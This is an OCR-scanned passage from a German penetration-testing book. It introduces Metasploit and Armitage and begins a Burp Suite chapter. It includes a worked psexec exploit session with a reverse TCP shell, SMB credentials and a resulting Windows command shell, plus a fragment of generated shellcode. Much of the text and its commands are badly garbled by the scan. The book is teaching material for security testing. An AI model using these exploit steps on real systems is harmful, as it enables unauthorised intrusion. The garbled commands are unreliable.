dem Einsatz einer Brechstange zu vergleichen. Wahrend Hacker prinzipiell die
gleichen Methoden verwenden, geht es dem Administrator und Sicherheitsexperten
darum, die Sicherheit der zu Uberprifenden Systeme zu testen. Einzig die Intension
ist eine andere.

Die Arbeit mit einem Penetration Testing-Tool, und hier konkret mit Metasploit,
gliedert sich immer in mehreren Schritten:
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1. Exploit-Auswahl und -Konfiguration: Der erste Schritt dient der Aus-
wahl eines Exploits, der dem Eindringen in ein Zielsystem dient. Optional
erfolgt eine Verwundbarkeitspriifung, ob das Zielsystem durch den ge-
wahlten Exploit Uberhaupt verwundbar ist oder nicht. Wurde im Vorfeld
einen Vulnerability-Scan durchgefihrt, besitzt man die entsprechenden In-
formationen.

2. Payload-Auswahl und Konfiguration: Als Payload (Nutzlast) wird der
Exploit-Code bezei chnet, der auf dem Zielrechner bei einem erfolgreichen
Einbruch ausgefihrt werden soll. In dieser Phase kommt beispielsweise
der Meterpreter zum Einsatz, der es Uber eine SSL-Verbindung zum Ziel-
rechner erlaubt, nach Dateien zu suchen, Rechte auszuweiten, Portscans
auszufiihren, den Netzwerkverkehr umzuleiten sowie einen Datei-
Download und -Upload durchzuftihren. Alternativ kann ein VNC-Server
oder die Shell verwendet werden.

3. Exploit-Ausfiihrung: Im dritten Schritt wird der Exploit-Code ausge-
fahrt.

4. Weiteres Eindringen auf dem Zielsystem: Nachdem Sie sich erfolgreich
Zugriff auf das Fremdsystem verschafft haben, kénnen Sie in der Regel
mittel s Payload weitere Aktionen auf dem Zielrechner ausfiihren.

Metasploit erlaubt es dem Sicherheitsexperten, jeden Exploit mit jeder kompatiblen
Nutzlast zu kombinieren. Das Metaspl oit-Framework wurde in Ruby implementiert
und ist daher unter alen Unix-Systemen inklusive Linux und Mac OS X sowie
unter Windows lauffahig. Das Tool kann auf der Kommandozeilenebene und tber
eine grafische Benutzeroberfldche bedient werden.

Bevor Sie allerdings Metasploit sinnvoll einsetzen kénnen, benétigen Sie verschie-
denste sicherheitsrelevante Informationen Uber das Zielsystem und den auf diesem
System verfligbaren Netzwerk-Service. Diese Informationen holen Sie sich bei-
spielsweise durch den Einsatz eines Portscanners wie Nmap. Weit mehr Details zu
etwaigen Verwundbarkeiten und Schwachstellen liefern lhnen Vulnerability-
Scanner wie OpenVAS (siehe Kapitel 2).

4.2 Erste Schritte mit Metasploit

Die meisten Anwender steuern das Metasploit Framework Uber die Metasploit-
Konsole. Sie dirfte das am haufigsten eingesetzte Werkzeug des Penetrationtools
sein. Der Aufruf erfolgt mit msfconsole bzw. Uber das jeweilige Metasploit-Ment
mit dem msfconsol e-MenUieintrag.
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Uber die Konsole sind nahezu alle Metasploit-Funktionen verfiigbar und sie erlaubt
auch die Ausfihrung von externen Kommandos wie beispielsweise von Ping. Sie
kénnen die Konsole auch auf der Kommandozeilenebene im Verzeichnis
/opt/metasploit/msf3 mit dem Befehl msfconsole starten. In der Konsole kdnnen Sie
sich mit der Eingabe von help oder ? einen ersten Uberblick liber die verfiigbaren
Kommandos verschaffen.

reot kall: ~

Jater Pearszzen Arsicat Sucher lTzrminzl Chiltz

ME|ASELD_| oy Kapid/

M etasploit meldet sich daserste Mal. Sollte die I nstallation nicht
neueren Datums sein, fihren Sie mit msfupdate ein Update aus.

Der Startbildschirm der Konsole zeigt Ihnen auRerdem die Anzahl der aktuellen
Exploits, Hilfsmodule, Encoder und Payload-Module an. Aus der Konsole heraus
kénnen Sie nach Exploits suchen und diese dann auf spezifische Zielsysteme an-
wenden.

Mit dem Kommando show exploits gibt die Konsole die vollstéandige Liste der
Exploits aus. Der tabellarischen Ubersicht kénnen Sie die Exploit-Bezeichnung,
den Pfad, das Datum der Aufdeckung, eine Kurzbeschreibung und das Ranking
entnehmen. Das Ranking spiegelt verschiedene Kriterien und Bewertungen wieder,
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beispielsweise die Wahrscheinlichkeit, dass ein Exploit einen Service oder sogar

Schwachstellen priifen

ein ganzes System zum Absturz bringt.

Da die Exploit-Liste, die der show-Befehl liefert, sehr umfangreich ist, bietet Me-
tasploit die Mdoglichkeit, die Exploit-Datenbank gezielt zu durchsuchen. Dazu
verwenden Sie den Befehl search, den Sie mit verschiedenen Parametern kombi-
nieren. Sie kdnnen search beispielsweise mit name:, path:, platform: und type:

verknipfen. Eine Suche kénnte konkret wie folgt aussehen:

search type: exploit platformw ndows path:snb

Wenn Sie die exakte CVE-Nummer kennen, kénnen Sie auch cve: als Suchparame-
ter verwenden. Inzwischen kann man die Suche auch ohne die explizite Angabe

der Suchfilter ausfihren.

[ Firetin = [ Memspiz - Ovendew | + |

uma Eoelz 35 e ml Balasphid o
‘Overview - Fraject Erste Bchritte nuit Metasploit

Discovery Penetration

i rackad
T SKID hashes siolen
T S3H buys slolen

tulslorcy.  § Eulil.

Evidence Collecticn Cleanup

0 daio Ties acquired Dolosed seaslons

2 Culletl, — Clwanuy...

Recent Bvents

Evani

Mezeninlt Sommonin 4 6 0 Linate 1 £ 2070-201 3 Rapid? I, Evslon, Ma

Die Windows-Version von M etasploit stellt Thnen eine benutzer -
freundliche Web-GUI zur Verfiigung. Uber Registerkarten
offnen Sie weitere M etasploit-Funktionen.
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4.3 Aktive und passive Exploits

Metasploit kennt zwei Exploit-Kategorien: aktive und passive. Aktive Exploits
werden auf einen spezifischen Host angewendet, dort vollsténdig ausgefiihrt oder
zumindest soweit, bis Sie durch eine Fehlermeldung abgebrochen werden. Bei
Brute-Force-Modulen wird die Ausfiihrung automatisch abgebrochen, wenn das
Zielsystem eine Shell 6ffnet.

Sollte bei der Exploit-Ausfihrung eine wie auch immer geartete Fehlermeldung
auftreten, beispielsweise, dass ein angesprochener Service nicht reagiert, wird
seine Ausfuhrung abrupt beendet. Sie kdnnen einen aktiven Exploit aber auch im
Hintergrund ausfihren. Dazu verwenden Sie die Option -j:

msf expl oi t (Expl oit-Bezei chnung) > exploit -j
[*] Exploit running as background j ob.

nmsf expl oi t (Expl oi t - Bezei chnung) >

Mit dem psexec-Exploit steht I|hnen ein einfacher Telnet-Ersatz zur Verfligung, mit
dem Sie Uber ein Netzwerk die vollstandige Interaktivitdt mit dem Windows-
Zielsystem erlangen. Das zugehorige Exploit finden Sie unter exploit/win-
dows/smb/psexec. Ein Beispiel fur die konkrete Verwendung des Exploits mit dem
use-Befehl:

msf > use expl oi t/w ndows/ snb/ psexec

nsf expl oit(psexec) > set RHOST 192.168.1. 100
RHOST => 192. 168. 1. 100

nsf expl oit(psexec) > set PAYLOAD wi ndows/shell/reverse_tcp
PAYLOAD => wi ndows/ shel |l /reverse_tcp

nsf expl oit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5

nsf expl oit(psexec) > set LPORT 4444

LPORT => 4444

nsf expl oit (psexec) > set SMBUSER user
SMBUSER => user

nsf expl oit(psexec) > set SMBPASS geheim
SMBPASS => geheim

nsf expl oi t (psexec) > exploit
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Connecting to the server...

Started reverse handl er

Upl oadi ng payl oad. ..
Creat ed \ hi knEeEM exe. ..
[*1 Binding to ..

[*1 Bound to ..

[*]
[*]
[*] Authenticating as user 'user'...
[*]
[*]

[*] Ootaining a service nanager handle. ..
[*1 Creating a new service ..

*] Cosing service handle...
*] Opening service...

*] Starting the service...

*] Renoving the service...

*

]
]
]
]
] Cosing service handle...
*] Del eting \hi knEeEM exe. ..
*]
]
2.

Sendi ng stage (240 bytes)

Conmand shell session 1 opened (192.168.1.5:4444 ->
168. 1. 100: 1073)

*

[
[
[
[
[
[
[
[
1

9

M crosoft Wndows [Version 6.0.6001]

Copyright (C) 2006 Mcrosoft Corporation. Alle Rechte vorbe-
hal ten

C. \ W NDOWB\ syst enB2>

Nach der Ubernahme des Windows-Systems konnen Sie dort jede beliebige Aktion
ausfuhren.

Bel passiven Exploits passiert etwas anderes. Die warten auf eingehende Host-
Verbindungen und versuchen sich dann am Exploit, sobald eine Verbindung be-
steht. Dieser Typ wird von Hackern haufig in Verbindung mit manipulierten E-
Mails verwendet, die einen Benutzer auf eine entsprechend préparierte Website
fuhren und erst beim Browser-Zugriff aktiviert werden.
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Hat man den Angriffspunkt auf dem Zielsystem identifiziert und sich Zugang zu
diesem verschafft, folgt im néchsten Schritt die Ausfihrung des sogenannten Pay-
loads. Erst diese Payloads sorgen meist daflir, dass man teilweise oder auch voll-
standige Kontrolle tiber ein attackiertes System erhélt.

Metasploit kennt verschiedene Payload-Varianten: Singles, Stagers und Stages.
Dank dieser verschiedenen Typen kann der Penetration-Tester vielseitig agieren.
Single-Payloads sind eigensténdige Module, die eine spezifische Aktion wie das
Hinzufligen eines Nutzers zum Zielsystem oder ein Drittprogramm ausfihren.
Stagers erzeugen eine Netzwerkverbindung zwischen dem Angreifer und dem
Zielsystem und erlauben in der Folge die Ausfihrung weiteren Codes. Bei den
Stages handelt es sich um Payload-Komponenten, die von den Stagers-Modulen
heruntergeladen werden.

In diesem Zusammenhang muss auch der Meterpreter (Akronym fir Meta-
Interpreter) erwahnt werden. Hierbei handelt es sich um ein erweitertes Payload-
Modul, das Uber DLL-Injektionen operiert. Der Meterpreter verbleibt vollstandig
im Speicher des Ziel-Hosts und hinterlasst keinerlei Spuren auf diesem. Seine
Aktionen sind fir Forensiker kaum zu identifizieren.

Nach der Auswahl eines Exploits kénnen Sie mit show payloads die Liste der ver-
flgbaren Code-Blocke abrufen. Die Anwendung von Payloads erfolgt mit dem
Befehl use. Ein Beispiel:

nsf > use payl oad/w ndows/shel |l _bind_tcp

Um einen Payload zu generieren, verwenden Sie das Kommando generate:

nmsf payl oad(shell _bind_tcp) > generate

# wi ndows/ shel | _bind_tcp - 341 bytes

# http://ww. metasploit.com

# VERBCSE=f al se, LPORT=4444, RHOST=, EXI TFUNC=process,

# Initial AutoRunScri pt=, AutoRunScript=

buf =

"\ xf c\ xe8\ x89\ x00\ x00\ x00\ x60\ x89\ xe5\ x31\ xd2\ x64\ x8b\ x52" +
"\ x30\ x8b\ x52\ x0c\ x8b\ x52\ x14\ x8b\ x72\ x28\ x0f \ xb7\ x4a\ x26" +
"\ x31\ xf f\ x31\ xcO0\ xac\ x3c\ x61\ x7c\ x02\ x2c\ x20\ xc1\ xcf\x0d" +
"\ x01\ xc7\ xe2\ xf 0\ x52\ x57\ x8b\ x52\ x10\ x8b\ x42\ x3c\ x01\ xd0" +
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Mit dem use-K ommando setzen Sie ein Exploit ein, um dann
im nachsten Schritt Payloads zum Einsatz zu bringen.

Uber weitere Optionen kénnen Sie dann beispielsweise Ports dndern, Dateien ma-
nipulieren etc.

4.4 Daten sammeln

Wenn Sie Penetration-Tests durchfiihren, ist die néchste Herausforderung, ale
Aktionen zu protokollieren sowie die Informationen und Daten zu sasmmeln, denen
Sie auf dem Zielsystem begegnet sind. Metasploit bietet standardmaliig Post-
greSQL-Unterstiitzung. In diesem Datenbanksystem kdnnen die verschiedenen
Informationen Uber attackierte Hosts, Verwundbarkeiten, Services etc. gespeichert
werden.

Und am wichtigsten: Die Ergebnisse kdnnen sauber und klar strukturiert abgefragt
werden. Wenn Sie Metasploit in Verbindung mit BackTrack oder Kali Linux ein-
setzen, ist dort bereits eine PostgreSQL -Datenbank eingerichtet, die auf den TCP-
Port 7337 hort. Gleiches gilt, wenn Sie die aktuellen Installer-Pakete von der Pro-
jekt-Site verwenden. Eine manuelle Datenbankkonfiguration ist also nicht erforder-
lich.

Nach dem Start der Metsaploit-Konsole kdnnen Sie mit dem Befehl db_status
einfach priifen, ob Metasploit eine Datenbankverbindung aufgebaut hat:

nsf > db_status

[*] postgresqgl connected to nsf3

Das Abrufen von Informationen aus der Datenbank ist denkbar einfach. Auf der
Konsole verwenden Sie den Befehl workspace, um die verfligbaren Arbeitsberei-
che abzurufen. Der Standard-Workspace ist mit einem Sternchen gekennzeichnet.
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Besonders praktisch ist die Importfunktion, mit der Sie beispielsweise die Ergeb-
nisse von Nmap-Scans importieren konnen. Dazu verwenden Sie den Befehl
sb_import und spezifizieren den Pfad zu den Daten:

db_i mport /root/ nsfu/ nmapScan

Mit dem Befehl host kénnen Sie die Host-Liste abrufen. In Verbindung mit der
Option -c gefolgt von weiteren Parametern wie address oder os wird die Darstel-
lung der tabellarischen Host-Liste auf diese Parameter beschrénkt.

database

Mithilfe der M etasploit-K onsole kbnnen Sie auch diein der
PostgreSQL -Datenbank gesammelten Daten sichten.

Mit dem Befehl services entlocken Sie der PostgreSQL die in der Datenbank ge-
speicherten Service-Informationen. Auch hier kénnen Sie die Ausgabe mit -c auf
bestimmte Informationen wie die | P-Adresse und den Service beschrénken.
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Ein Beispid:

msf > services -c¢ nane,info 192.168.1. 100

Servi ces

host nane info

192.168. 1. 100 nsr pc M crosoft W ndows RPC

192.168. 1. 100 net bi os-ssn

192.168. 1. 100 m crosoft-ds Mcrosoft Wndows XP microsoft-
ds

192.168. 1. 100 nysql

Sollten Sie (spezifische) Ergebnisse an anderer Stelle auswerten wollen, kdnnen
Sie die Daten auch nach CSV exportierten. Dazu spezifizieren Sie den Dienst, den
Port und geben mit der Option -0 das Zielverzeichnis an, in das die Exportdatei
geschrieben werden soll. Ein Beispidl:

nsf > services -s http -c port 192.168.1.100 -0
/root/ msfu/ http.csv

Weitere datenbankspezifische Befehle rufen Sie mit help database ab.

4.5 Attack-Management mit Armitage

Wenn Sie Metasploit regelméfidig fur die Durchfihrung von Sicherheits-Checks
verwenden, so wére eine Managementumgebung ideal, mit der man die verschie-
denen Konfigurationen und Aktionen zentral verwalten kénnte. All das leistet
Armitage: Uber die grafische Benutzerschnittstelle konnen Sie unterschiedliche
Zielkriterien definieren und schnell zwischen diesen hin- und herschalten. In spe-
ziellen Target Sets konnen Sie Dutzende, Hunderte oder gar Tausende Hosts anle-
gen. Da Armitage die Daten von verschiedenen Security-Scannern importieren
kann, vereinfacht sich die Vorbereitung. Das Managementwerkzeug stellt Thnen
eine Visualisierung der aktuellen Ziele dar. So erkennen Sie direkt, wo gerade
Exploits laufen.
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Armitage ist ebenfalls in Kali Linux integriert und Gber den Menibefehl Anwen-
dungen > Kali Linux > Exploitation Tools > Network Exploitation > armitage
verflgbar.

armitege Miew | nsts Atacks Workspaces lels

T [ e
[l orowse-
* [ =p
b [EF james
* [ e L
| aleatel amn ™

= set RHOSTS 102, 1G8. 1.2

ps T p_version

Ul dusilidryd

Penetrationstests verwalten und automatisieren: Wer intensiv mit M etasploit
arbeiten will, findet in Armitage das perfekte M anagementtool.

Armitage empfiehlt Thnen die Verwendung bestimmter Exploits und kann weitere
Prifungen ausfhren, um herauszufinden, mit welchem Exploit Sie weiterkommen.
Haben Sie sich Zugriff auf ein Drittsystem verschafft, kann Armitage in Verbin-
dung mit Metaspolit fir eine Ausweitung der Privilegien sorgen.

Armitage ist wie Metasploit fir Linux und Windows verflgbar, kann aber auch
unter Mac OS X eingesetzt werden. Das Managementwerkzeug ist in Kali Linux
integriert. Eine lokale Metasploit-Installation ist nicht zwingend erforderlich, denn
Sie kénnen mit Armitage jeden beliebigen Uber das Netzwerk erreichbaren Meta-
sploit-Server ansprechen.

Die Verbindungseinstellungen sind in der Datei connect.prop definiert. Die sollten
in etwa wie folgt aussehen:
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host =192. 168. 1. 100
port =55553
user =Benut zer nane

pass=gehei m

In Verbindung mit der --client-Option kénnen Sie auch verschiedene Konfigura-
tionen aufrufen, wenn Sie mehrere M etasploit-Server verwalten wollen.

Die Schnittstelle von Armitage besteht aus drei Panels: Modul-, Ziel- und Regis-
terkarten-Bereich. Im sogenannten Modulbereich fihren Sie spezielle Metasploit-
Hilfsmodule aus, generieren Sie den Payload und fiihren Sie die Post-Exploitation-
Module aus. In der Hierarchie klicken Sie sich zu den gewiinschten Modulen vor
und fuihren einen Doppelklick aus, um den Ausfiihrungsdialog zu 6ffnen. Einer der
groften Vorzige von Armitage ist, dass Sie Module gegen mehrere Hosts ausfiih-
ren kdnnen.

]

armitege Miew | nsts Atacks Workspaces lels

=@ cchp
= [5F frecbsd |
= [ Foaw
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Aus Armitage heraus kénnen Sie gezielt Netzwer k-
komponenten mit passenden Exploits konfrontieren.
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Das Target-Panel prasentiert IThnen eine Visualisierung der Ziel-Hosts. Dabei wird
jeder Eintrag durch dessen |P-Adresse, den Rechner- bzw. Komponententyp und
gegebenenfalls mit weiteren Informationen dargestellt. Neben der grafischen bietet
dieser Bereich auch eine tabellarische Darstellung der Hosts. Unterhalb der Modul-
und Zielbereiche finden Sie verschiedene Registerkarten. Hier finden Sie die Kon-
solen fur die Ausfiihrung von Metasploit- und Meterpreter-K ommandos.

Uber das Hosts-Menii legen Sie die zu priifenden Netzwerkkomponenten an. Armi-
tage kann in der Regel das verwendete Betriebssystem ausesen und weist dem
Host in der Visualisierung das passende Symbol zu. Mit dem Menibefehl Hosts >
Import Hosts kdnnen Sie Host-Listen aus Nessus, Nexpose und anderen V ulneribi-
lity-Scannern importieren. Uber das Hosts-Menii kénnen Sie auch die Scans von
Nmap importieren.

Bevor Sie eine Attacke simulieren bzw. eine Schwachstelle konkret evaluieren
koénnen, missen Sie die richtige Waffe zlicken. Auch hierfir hdlt Armitage das
passende Werkzeug parat: Fuhren Sie den Befehl Attack > Find Attacks aus. Armi-
tage erweitert das Pop-up-Meni der rechten Maustaste nach dem Scan um den
Attack-Eintrag, Uber den Sie nun gezielt einen Exploit auswahlen kénnen.

Nach der Wahl des Exploits prasentiert Ihnen Armitage einen Infodialog, der lhnen
eine Kurzinfo prasentiert und lhnen die Anpassung der Exploit-Konfiguration
erlaubt. Mit einem Klick auf Lauch filhren Sie dann den Exploit-Vorgang aus.

Sollten der Exploit-Vorgang aus irgendeinem Grund fehlschlagen, kénnen Sie es
auch mit der automatisierten Ausnutzung von Schwachstellen versuchen: Fihren
Sie dazu den Befehl Attacks > Hail Mary aus.

4.6 Versionswirrwarr

Metasploit wird mal3geblich von der amerikanischen Software-Schmiede Rapid7
entwickelt. Es ist nur verstandlich, dass diese mit lhrer Entwicklungsarbeit auch
Geld verdienen wollen. Die Einnahmen, die auch die Weiterentwicklung des freien
Metasploit Framework sichern, generiert man durch kommerzielle Services und
besser ausgestattete Express- und Pro-Versionen. Damit stellt sich unweigerlich die
Frage, worin die Unterschiede bestehen und wann sich ein Umstieg lohnt.

Im Internet hat sich eine Kostenlosmentalitét breitgemacht, die so manchen Con-
tent-Anbieter und Software-Entwickler in arge Bedréngnis bringt, denn wie soll
man in Zukunft aufwéandige Projekte ohne die notwendige finanzielle Unterstit-
zung fortfUhren? So ist es nur folgerichtig, dass Entwickler von Open Source-
Projekten Basisversionen frei verfligbar machen, sich besondere Features, Adap-
tionen etc. aber entsprechend entlohnen lassen. Auch Rapid7 geht diesen erfolgrei-
chen Weg.
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Die meisten verbinden mit Metasploit lediglich das sogenannte Metasploit-
Framework. Doch Rapid7 stellt Metasploit inzwischen in vier verschiedenen Va-
rianten mit unterschiedlicher Ausstattung und fir unterschiedliche Anwendertypen
bereit, angefangen bei der Framework-Edition, die in erster Linie fir Entwickler
und Sicherheitsexperten konzipiert ist, bis hin zur Pro-Version, die fir Sicherheits-
teams in Unternehmen gedacht ist.

Die Versionen im Uberblick:

Metasploit Framework Edition: Hierbei handelt es sich um das Basis-
system, das auf der Konsolenebene bedient wird. Es stellt verschiedene
Importfunktionen zur Verfiigung. Die Exploit-Vorgange und Brute Force-
Attacken miissen manuell durchgefiihrt werden.

Metasploit Community Edition: Seit Oktober 2011 stellt Rapid7 die
Metasploit Community Edition zum Download bereit. Hierbei handelt es
sich um eine freie, webbasierte Variante, deren Funktionalitét auf der
kommerziellen Version basiert. Allerdings ist der Funktionsumfang ein-
geschrankt.

M etasploit Express: Bereits seit April 2010 gibt es Metasploit Express.
Diese Version verflgt Uber eine grafische Schnittstelle, integriert Nmap
fur die Identifikation der Netzwerkumgebung und bietet verschiedene er-
weiterte Brute-Force-Techniken und automatisi erte Bewei sssmmlung.

Metasploit Pro: Fir den Einsatz in Sicherheitsteams ist diese Variante
konzipiert. Sie stellt alle Funktionen der drel zuvor genannten Varianten
zur Verfigung, kann darlber hinaus auch Web-Applikationen scannen
sowie mit Exploits konfrontieren und unterstiitzt auRerdem V PN-Pivoting.

Einen detallierten tabellarischen Vergleich der verschiedenen Metasploit-
Varianten finden Sie unter https://community.rapid7.com/docsDOC-2287. Die
Entwickler lassen sich den Luxus der kommerziellen Versionen Ubrigens furstlich
entlohnen. Bereits die Express-Version kostet 5000 US Dollar pro User und Jahr.
Preise zur Pro-Version verhdlt man nur auf Anfrage.
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Fir Penetration-Tester fuhrt kein Weg an Metasploit vorbei. Das Framework wird
von Version zu Version immer leistungsfahiger und ist heute vielseitig einsetzbar.
Hat man sich einmal mit den vielen Optionen und Exploit-M 6glichkeiten vertraut
gemacht, ist die Nutzung fast ein Kinderspiel. Gerade auch Neulingen in die Welt
der Penetration-Tests wird der Einstieg Dank der Web-GUI einfach gemacht.

Wir kommen in Kapitel 6 noch einmal auf die Verwendung von Metasploit bei der
Prifung von WLANS zu sprechen. Dort zeige ich lhnen, wie Sie ein drahtloses
Netzwerk auf Schwachstellen priifen.
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5 Scannen von Web-Applikationen

Nachdem Sie die Schwachstellen und wichtige Angriffspunkte identifiziert haben,
geht es im néchsten Schritt meist darum, die zentralen Anwendungen einer IT-
Infrastruktur auf Herz und Nieren zu prifen. Ob es sich dabei um ein internes Con-
tent-, CRM-, Dokumentenmanagement- oder Workgroup-System handelt, ist zu-
nachst zweitrangig. Der Trend geht in nahezu alen Bereichen zu Web-Appli-
kationen. Auch Blogs und Online-Shops sind sehr begehrte Ziele von Angreifern.
Das ist nicht weiter verwunderlich, denn in webbasierten Umgebungen wie bei-
spielsweise einem Magento-Shop sind durchaus interessante Informationen zu
finden: Kontaktdaten, Konten- und Kreditkartendaten etc.

Nun sind webbasierte Umgebungen wie Magento & Co. komplexe Gebilde, die auf
einer nicht weniger komplexen Umgebung (Apache-MySQL -PHP) basieren. Damit
ergeben sich fir einen potentiellen Angreifer verschiedenste Angriffspunkte.

5.1 Web Application Security Scanner

Bel der Komplexitét von Web-Applikationen ist es ales andere as einfach,
Schwachstellen aufzusplren. Hier kommen Sie mit Web Application Security
Scannern weiter. Wenn Siein Kali Linux einen Blick in das Meni Anwendungen >
Kali Linux > Webapplikationen > Webschwachstellen-Scanner werfen, werden Sie
nicht schlecht staunen: Dort finden Sie 25 Tools fir das Aufdecken von Schwach-
stellen in Web-Applikaitonen. In Kali Linux sind auch die beiden Scanner integ-
riert, die als die besten ihrer Art gelten: Burp Suite (http://portswigger.net/burp/)
und w3af (http://w3af.org).

Im Rahmen dieses Einstiegs kann man nicht annéhernd die verfligbaren Werkzeu-
ge beschreiben. Ich beschrénke mich hier auf die Burp Suite. Dafur gibt es mehrere
Grinde. Die Burp Suite gilt als eine der besten Web Application Security Scanner,
ist fir Windows sowie Linux gleicherma3en verfligbar und steht in einer Free
Edition kostenlos bereit. In Kali Linux ist ebenfalls die Free Edition integriert.
Wenn Sie die Burp Suite unter Windows einsetzen wollen, ist auch das einfach:
Laden Sie sich die JAR-Datei herunter und fihren Sie diese aus.

Wenn Sie Gefalen an den Mdglichkeiten der Burp Suite finden und noch mehr
Funktionalitét winschen, kdnnen Sie fur ca. 300 US Dollar ein Jahresabo erwer-
ben, das weitere tolle Funktionen bietet, beispielsweise einer komfortablen Scan-
Funktion, die aktives und passives Scannnen unterstiitzt, eine leistungsfahige Su-
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che, eine Content-Analyse und Zeitsteuerungen. Fur den Einstieg gentigt die Free
Editionin jedem Fall.
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Ein erster Blick auf die Burp Suite Free Edition unter Windows.

5.2 Must-have: die Burp Suite

Die Burp Suite ist eine integrierte Plattform fur die Durchfiihrung von Sicherheits-
tests an Web-Applikationen. Sie bietet I1hnen die volle Kontrolle fir die auszufih-
renden Tests und Aktionen. Die Burp Suite bietet au3erdem tiefgehende Analysen
der Ergebnisse.

Standardtests kénnen weitgehend automatisiert werden, um schneller die ge-
winschten Informationen zu erhalten. Wie bel alen (Penetrations-)Testwerk-
zeugen missen Sie allerdings auch bei diesem Werkzeug damit rechnen, dass die
analysierten Anwendungen Schaden nehmen. Umso wichtiger ist, dass Sie die
durchgefiihrten Analysen protokollieren und dokumentieren. Darauf kommen wir
in Kapitel 9 noch zu sprechen.
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Die Burp Suite ist auf das Zusammenspiel mit einem Webbrowser konzipiert, tber
den beispielsweise Eingaben an eine Web-Applikation Ubermittelt und dann von
der Security Suite analysiert werden. Um Tests mit der Burp Suite durchfiihren zu
koénnen, missen Sie die Proxy-Einstellungen lhres Browsers bearbeiten. Tragen
Sie dort folgende URL ein:

127.0. 0. 1: 8080

Stellen Sie aufBerdem in den Burp-Einstellungen sicher, dass der Proxy Listener
aktiviert ist. Sie finden dessen Einstellungen auf der Registerkarte Proxy im Unter-
register Options. Stellen Sie unter Proxy Listener sicher, dass obige Adresse ver-
wendet und aktiviert ist.

i Surp Suite Frae Edizion v £
Bura Nirude Repsatsr Widow Hela

[ (I Spidar I~ca11er Inrucer  Hepeater I Saquence” T Uecodar Tl.ulrpsrer ] Exlenda” ] Lptioiz ] Aertz

[ srcept I HTTP hstory I\cuens:lcket;nst:lr,t T Oatons |

| Hitsr HEing Us, mage aid ganersl bnary caatet

£ a|llost Meshed | LRL | Paramz  [died | Gtatus | _ancth
| 54 bt e e v yo Ul CET ! | o
| 58 bt v v Erain CET ! (] ]
|56 hitzrebold de oLT I 11 8]
|82 hftwiwww.everrole.con GLT fmarketienazedyztfarm-witdows ] 8]
[ELS i
Neguest
J Haw | sarame Ikeanwa I Hex
CET / HITD/ _._
I NV yout vk, com

Wirdzwe M1 &, rviid.U) GEeke IULUU_J_ Firsetod/3H.U
tondxhtml—waal, Spplicatons bl ol M, Wm0 o=l

S 2prT-Langu. =, en-15; ST.Enrg=0]3

kmeEpr-Facad

Cookie: WIS™ TOF

GEUF=4kIdl

TFHIOMATe:: FREF=STIDTH _WASTHRAT D= 07F j<Mh gy Vudal—cra M5-7
=(7Zad02aT AARA=; atua=27065237.52 L‘tl 45£529. 14
..Jl..rt* l 1. UEMCSI= 1d1r~x.t, I |t,nc. o | du-c 1| uEmzwd= i aoae)

2! 1F CLU S07r
2D 1977 nTEROQ: HC
notsibHN4shs Juﬂﬁ‘u..f[

X CIxIjogHET
T 1A7M9 T12gT] v :

ATARQ. resnmre =My yg »QhuY: 357, Thr m Fpi—ggr bz
Conrection: xezp-alive

[E25) =) ;| L;J Tyoe & search tErm

: YAC-N

Ein typischer Protokolleintrag in der History.

Hacking kompakt



84 Scannen von Web-Applikationen

Sie miissen eine weitere Anpassung vornehmen, bevor Sie mit Ihren ersten Checks
loslegen konnen. Offnen Sie die Registerkarte Proxy Intercept. Stellen Sie dort
sicher, dass die Interception-Funktion aktiviert ist. Offnen Sie nun Ihren Browser
und fordern Sie ein beliebiges Dokument an. Jeder Request Ihres Browsers wird
nun auf der Registerkarte Interception angezeigt. Burp verfigt auRerdem Uber eine
Proxy-History, die alle Requests und Responses aufzeichnet. Den Verlauf finden
Sie auf der History-Registerkarte.

Wenn Sie eine Website ansteuern, erzeugt Burp eine Sitemap einer Website. Die
Ergebnisse dieses Vorgangs sind auf der Registerkarte Target auf dem Unterregis-
ter Ste Map verfiigbar. In dieser Sitemap sind alle URLs enthalten, die Sie besucht
haben, und solche, die Burp dariiber hinaus aufdecken konnte. Alle Objekte, die
Sie angefordert haben, werden schwarz markiert, alle anderen grau.

Die Burp Suite ist so konzipiert, dass Sie ale Aktionen selbst steuern kdénnen. Sie
konnen dabel insbesondere alle HTTP-Requests mit den Burp-Tools an eine Web-
basierte Applikation Ubergeben. Fir bestimmte Aufgaben stehen Ihnen spezifische
Funktionen und Tools zur Verfiigung, die Uber die gleichnamigen Registerkarten
verflgbar sind:

Spider — Dieses Modul bewegt sich automatisch durch eine Applikation,
um deren Struktur und Funktionalitét zu ermitteln.

Scanner — Dieses Modul durchsucht HTTP-Request nach bekannten Ver-
wundbarkeiten.

Intruder — Fihrt benutzerdefinierte Attacken aus.

Repeater — Wiederholt manuell modifizierte Requests immer und immer
wieder.

Sequencer — Dieses Modul analysiert die Qualitét der Session-Zeichen.
Decoder — Dient dem Dekodieren und Kodieren von Anwendungsdaten.

Comparer — Dieses Modul dient dem visuellen Vergleich von Anwen-
dungsdaten.

Sie kdnnen dabei die verschiedenen Tools beliebig miteinander kombinieren.
Wenn Sie erste Erfahrungen mit einem Web Application Security Scanner sam-
meln, ist auch das kein Problem, denn Sie kdnnen die Burp Suite als Point-and-
Click-Scanner verwenden — Motto: Klicken und loslegen.
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5.3 Burp Suite fur Einsteiger

Die Burp Suiteist fur Einsteiger und Profis gleichermalen geeignet. Fur den erfah-
renen Penetrationtracker bietet Sie jede Menge Funktionen fur das Aufdecken und
Testen von Schwachstellen in Thren Web-Applikationen. Aber Burp bietet auch die
Maoglichkeit, Aktionen automatisch ohne Benutzereingriffe auszufiihren. Diese
Vorgehensweise wird auch von anderen Security Scannern verfolgt, aber sie bietet
Vor- und Nachteile.

Das vollstandig automatisierte Crawlen von modernen Applikationen ist aufgrund
der sich rasant verdndernden Client-Technologie problematisch. Das Session
Handling ist auRerdem sehr komplex. Oftmals schldgt das automatische Crawlen
fehl. Ein weiteres Problem von automatischen Checks: Viele Bugs kénnen doch
nur von Menschen erkannt und als solche identifiziert werden.

Die Folge: Die Prifung einer Web-Applikation bleibt immer unvollstandig. Aus
diesem Grund haben die Entwickler das Programm so gestaltet, dass man interaktiv
damit arbeiten kann. Dennoch kdnnen Sie die Burp Suite auch als Point-and-Click-
Scanner einsetzen, das Programm mit einem Klick starten und ihm dann alles wei-
tere Uberlassen.

Dieser Modus verlangt eine Burp-Instanz in der Standardkonfiguration. Dazu star-
ten Sie eine neue Burp-Instanz, indem Sie doppelt auf die JAR-Datei klicken. Dann
flhren Sie den Mentibefehl Burp > Restore defaults > All options aus, um sicher-
